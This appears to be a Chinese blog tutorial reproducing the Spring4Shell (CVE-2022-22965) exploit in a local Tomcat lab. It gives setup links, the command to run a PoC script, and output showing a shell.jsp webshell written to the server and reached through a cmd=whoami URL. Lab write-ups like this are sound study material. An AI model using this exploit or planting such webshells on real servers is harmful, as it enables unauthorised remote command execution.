0x01 概述
上期【漏洞分析】 CVE-2022-22965-Spring漏洞(Spring4Shell)分析及修复方法讲述了发现防御Spring4Shell漏洞,由于某些原因未在文章放出poc。此次为大家详细讲解漏洞利用过程并公开POC脚本,希望大家能帮忙分享,十分感谢。
0x02 搭建环境
环境信息,为了此次复现操碎了心,具体安装根据下面文章按照步骤操作,老妈子级教程
win10/JDK17/apache-tomcat-10.0.18/python3.8
【环境搭建】win10安装配置jdk17
【环境搭建】搭建Java开发环境-tomcat10安装使用
【环境搭建】搭建Python开发环境-安装python3.8
想要尝试自己编译源码复现漏洞,需要安装maven-3.8.5
【环境搭建】搭建Java开发环境-maven篇
0x03 运行项目
下载sechelper-cookun.war包放入tomcat运行项目,出现下面信息表示运行成功(war包放入webapps目录会自动解压出sechelper-cookun)
github
https://github.com/sechelper/Spring4Shell/releases/download/v1.0/sechelper-cookun.war
百度网盘
链接:https://pan.baidu.com/s/1-y-HR5ahlw0Vm9SOOZqaUg?pwd=c4cy提取码:c4cy
访问地址,出现hello world表示项目部署成功
http://127.0.0.1:8080/sechelper-cookun/hello?name=world
0x04 漏洞利用
使用poc.py检测漏洞是否存在,注意不要多次执行poc.py会出现未知错误,如要重复执行重启tomcat并删除ROOT目录下shell.jsp文件,运行脚本之前需要安装requests库,否则会报错
js
> pip install requests
Collecting requests
Using cached https://files.pythonhosted.org/packages/2d/61/08076519c80041bc0ffa1a8af0cbd3bf3e2b62af10435d269a9d0f40564d/requests-2.27.1-py2.py3-none-any.whl
Collecting certifi>=2017.4.17 (from requests)
Using cached https://files.pythonhosted.org/packages/37/45/946c02767aabb873146011e665728b680884cd8fe70dde973c640e45b775/certifi-2021.10.8-py2.py3-none-any.whl
Collecting urllib3<1.27,>=1.21.1 (from requests)
> python poc.py --url http://127.0.0.1:8080/sechelper-cookun/hello
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 405
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://127.0.0.1:8080/shell.jsp?cmd=whoami
浏览器访问下面连接,出现你电脑用户名说明成功,已经获取shell剩下自由发挥吧
http://127.0.0.1:8080/shell.jsp?cmd=whoami
0x05 小结
关于Spring漏洞(CVE-2022-22965)利用完毕,文章内有任何问题在知识星球提问,关注至察助安获取更多优质网络安全知识,无优质不分享。